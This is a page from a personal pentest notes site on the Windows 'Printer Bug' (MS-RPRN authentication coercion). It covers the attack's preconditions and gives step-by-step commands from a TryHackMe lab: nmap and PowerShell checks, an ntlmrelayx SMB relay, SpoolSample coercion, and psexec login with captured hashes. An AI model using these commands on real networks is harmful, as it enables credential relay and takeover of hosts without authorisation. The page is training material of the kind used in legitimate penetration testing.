CSbyGB - Pentips
Buy me a tea
  • CS By GB - PenTips
    • Welcome to CSbyGB's Pentips
  • Networking, Protocols and Network pentest
    • Basics
    • DNS
    • FTP
    • HTTP & HTTPS
    • IMAP
    • IPMI
    • MSSQL
    • MYSQL
    • NFS
    • Oracle TNS
    • POP3
    • RDP
    • RPC
    • Rservices
    • Rsync
    • SMB
    • SMTP
    • SNMP
    • SSH
    • VOIP and related protocols
    • Winrm
    • WMI
    • Useful tips when you find unknown ports
  • Ethical Hacking - General Methodology
    • Introduction
    • Information Gathering
    • Scanning & Enumeration
    • Exploitation (basics)
    • Password Attacks
    • Post Exploitation
    • Lateral Movement
    • Proof-of-Concept
    • Post-Engagement
    • MITRE ATT&CK
  • External Pentest
    • External Pentest
  • Web Pentesting
    • Introduction to HTTP and web
    • Enumeration
    • OWASP Top 10
    • General Methodo & Misc Tips
    • Web Services and API
    • Vunerabilities and attacks
      • Clickjacking
      • CORS (Misconfigurations)
      • CSRF
      • SSRF
      • Bypass captcha
      • Template Injection (client and server side)
      • MFA bypass
      • XXE
    • Exposed git folder
    • Docker exploitation and Docker vulnerabilities
    • Websockets
  • Mobile App Pentest
    • Android
    • IOS
  • Wireless Pentest
    • Wireless pentest
  • Cloud Pentest
    • Cloud Pentest
    • Google Cloud Platform
    • AWS
  • Thick Client Pentest
    • Thick Client
  • Hardware Pentest
    • ATM
    • IoT
  • Secure Code Review
    • Secure code review
    • Java notes for Secure Code Review
  • AI & AI Pentest
    • MITRE ATLAS
    • OWASP ML and LLM
    • Hugging face
    • AI Python
    • Gemini
    • Ollama
  • Checklist
    • Web Application and API Pentest Checklist
    • Linux Privesc Checklist
    • Mobile App Pentest Checklist
  • Tools
    • Burpsuite
    • Android Studio
    • Frida
    • CrackMapExec
    • Netcat and alternatives
    • Nmap
    • Nuclei
    • Evil Winrm
    • Metasploit
    • Covenant
    • Mimikatz
    • Passwords, Hashes and wordlist tools
    • WFuzz
    • WPScan
    • Powershell Empire
    • Curl
    • Vulnerability Scanning tools
    • Payload Tools
    • Out of band Servers
    • STEWS
    • Webcrawlers
    • Websocat
  • VM and Labs
    • General tips
    • Setup your pentest lab
  • Linux
    • Initial Foothold
    • Useful commands and tools for pentest on Linux
    • Privilege Escalation
      • Kernel Exploits
      • Password and file permission
      • Sudo
      • SUID
      • Capabilities
      • Scheduled tasks
      • NFS Root Squashing
      • Services
      • PATH Abuse
      • Wildcard Abuse
      • Privileged groups
      • Exploit codes Cheat Sheet
  • Windows
    • Offensive windows
    • Enumeration and general Win tips
    • Privilege Escalation
    • Active Directory
    • Attacking Active Directory
      • LLMNR Poisoning
      • SMB Relay Attacks
      • Shell Access
      • IPv6 Attacks
      • Passback Attacks
      • Abusing ZeroLogon
    • Post-Compromise Enumeration
      • Powerview or SharpView (.NET equivalent)
      • AD Manual Enumeration
      • Bloodhound
      • Post Compromise Enumeration - Resources
    • Post Compromise Attacks
      • Pass the Password / Hash
      • Token Impersonation - Potato attacks
      • Kerberos
      • GPP/cPassword Attacks
      • URL File Attack
      • PrintNightmare
      • Printer Bug
      • AutoLogon exploitation
      • Always Installed Elevated exploitation
      • UAC Bypass
      • Abusing ACL
      • Unconstrained Delegation
    • Persistence
    • AV Evasion
    • Weaponization
    • Useful commands in Powershell, CMD and Sysinternals
    • Windows Internals
  • Programming
    • Python programming
    • My scripts
    • Kotlin
  • Binary Exploitation
    • Assembly
    • Buffer Overflow - Stack based - Winx86
    • Buffer Overflow - Stack based - Linux x86
  • OSINT
    • OSINT
    • Create an OSINT lab
    • Sock Puppets
    • Search engines
    • OSINT Images
    • OSINT Email
    • OSINT Password
    • OSINT Usernames
    • OSINT People
    • OSINT Social Media
    • OSINT Websites
    • OSINT Business
    • OSINT Wireless
    • OSINT Tools
    • Write an OSINT report
  • Pentester hardware toolbox
    • Flipper Zero
    • OMG cables
    • Rubber ducky
  • Post Exploitation
    • File transfers between target and attacking machine
    • Maintaining Access
    • Pivoting
    • Cleaning up
  • Reporting
    • How to report your findings
  • Red Team
    • Red Team
    • Defenses Enumeration
    • AV Evasion
  • Writeups
    • Hackthebox Tracks
      • Hackthebox - Introduction to Android Exploitation - Track
    • Hackthebox Writeups
      • Hackthebox - Academy
      • Hackthebox - Access
      • Hackthebox - Active
      • Hackthebox - Ambassador
      • Hackthebox - Arctic
      • Hackthebox - Awkward
      • Hackthebox - Backend
      • Hackthebox - BackendTwo
      • Hackthebox - Bastard
      • Hackthebox - Bastion
      • Hackthebox - Chatterbox
      • Hackthebox - Devel
      • Hackthebox - Driver
      • Hackthebox - Explore
      • Hackthebox - Forest
      • Hackthebox - Good games
      • Hackthebox - Grandpa
      • Hackthebox - Granny
      • Hackthebox - Inject
      • Hackthebox - Jeeves
      • Hackthebox - Jerry
      • Hackthebox - Lame
      • Hackthebox - Late
      • Hackthebox - Love
      • Hackthebox - Mentor
      • Hackthebox - MetaTwo
      • Hackthebox - Monteverde
      • Hackthebox - Nibbles
      • Hackthebox - Optimum
      • Hackthebox - Paper
      • Hackthebox - Photobomb
      • Hackthebox - Poison
      • Hackthebox - Precious
      • Hackthebox - Querier
      • Hackthebox - Resolute
      • Hackthebox - RouterSpace
      • Hackthebox - Sauna
      • Hackthebox - SecNotes
      • Hackthebox - Shoppy
      • Hackthebox - Soccer
      • Hackthebox - Steamcloud
      • Hackthebox - Toolbox
      • Hackthebox - Vault
      • Hackthebox - Updown
    • TryHackme Writeups
      • TryHackMe - Anonymous
      • TryHackMe - Blaster
      • TryHackMe - CMesS
      • TryHackMe - ConvertMyVideo
      • TryHackMe - Corridor
      • TryHackMe - LazyAdmin
      • TryHackMe - Looking Glass
      • TryHackMe - Nahamstore
      • TryHackMe - Overpass3
      • TryHackMe - OWASP Top 10 2021
      • TryHackMe - SimpleCTF
      • TryHackMe - SQL Injection Lab
      • TryHackMe - Sudo Security Bypass
      • TryHackMe - Tomghost
      • TryHackMe - Ultratech
      • TryHackMe - Vulnversity
      • TryHackMe - Wonderland
    • Vulnmachines Writeups
      • Web Labs Basic
      • Web Labs Intermediate
      • Cloud Labs
    • Mobile Hacking Lab
      • Mobile Hacking Lab - Lab - Config Editor
      • Mobile Hacking Lab - Lab - Strings
    • Portswigger Web Security Academy Writeups
      • PS - DomXSS
      • PS - Exploiting vulnerabilities in LLM APIs
    • OWASP projects and challenges writeups
      • OWASP MAS Crackmes
    • Vulnerable APIs
      • Vampi
      • Damn Vulnerable Web Service
      • Damn Vulnerable RESTaurant
    • Various Platforms
      • flAWS 1&2
  • Digital skills
    • How to make a gitbook
    • Marp
    • Linux Tips
    • Docker
    • VSCodium
    • Git Tips
    • Obsidian
  • Durable skills
    • Durable skills wheel/Roue des compétences durables
  • Projects
    • Projects
      • Technical Projects
      • General Projects
  • Talks
    • My Talks about Web Pentest
    • My talks about Android Application hacking
    • Other of my talks and Podcast
  • Resources
    • A list of random resources
Powered by GitBook
On this page
  • What is it
  • Check requirements
  • Attack
  • Resources
  1. Windows
  2. Post Compromise Attacks

Printer Bug

PreviousPrintNightmareNextAutoLogon exploitation

Last updated 2 years ago

What is it

The printer bug is a "feature" of the MS-RPRN protocol (PrintSystem Remote Protocol), which allows a domain user to remotely force a target host running the Print Spooler service to authenticate to an arbitrary IP address. There have been a few of these bugs in recent years: Spooler, PetitPotam, PrintNightmare. Microsoft claims that the only bug is that some of these did not require AD credentials at all, but this issue has been resolved through security patches.

Therefore, to exploit this, apart from machine account administrative privileges, we also need to meet the following four conditions :

  1. A valid set of AD account credentials.

  2. Network connectivity to the target's SMB service.

  3. The target host must be running the Print Spooler service.

  4. The hosts must not have SMB signing enforced.

Check requirements

  • In Powershell GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc See if Print Spooler service is running or Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc

  • Check SMB Signing nmap --script=smb2-security-mode -p445 <COMPROMISED-HOST> <TARGET-HOST>

Attack

  • Set up the NTLM relay python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"<TARGET-IP>" -debug

  • From our compromise host we use SpoolSample.exe THMSERVER2.za.tryhackme.loc "IP of your Attacking machine"

  • Some hashes should start to drop

  • We can then connect with psexec python3.9 /opt/impacket/examples/psexec.py thmdc.za/ServerAdmin@10.200.83.201 -hashes HASH:HASH -It is also possible to make a command with ntlmrelay like this python3.9 ntlmrelayx.py -smb2support -t smb://"<TARGET IP>" -c 'whoami /all' -debug

Resources

TryHackMe - Exploiting AD - Task 4
SpoolSample
Nmap SMB signing
NTLM relay
SpoolSample
Hash drop
Psexec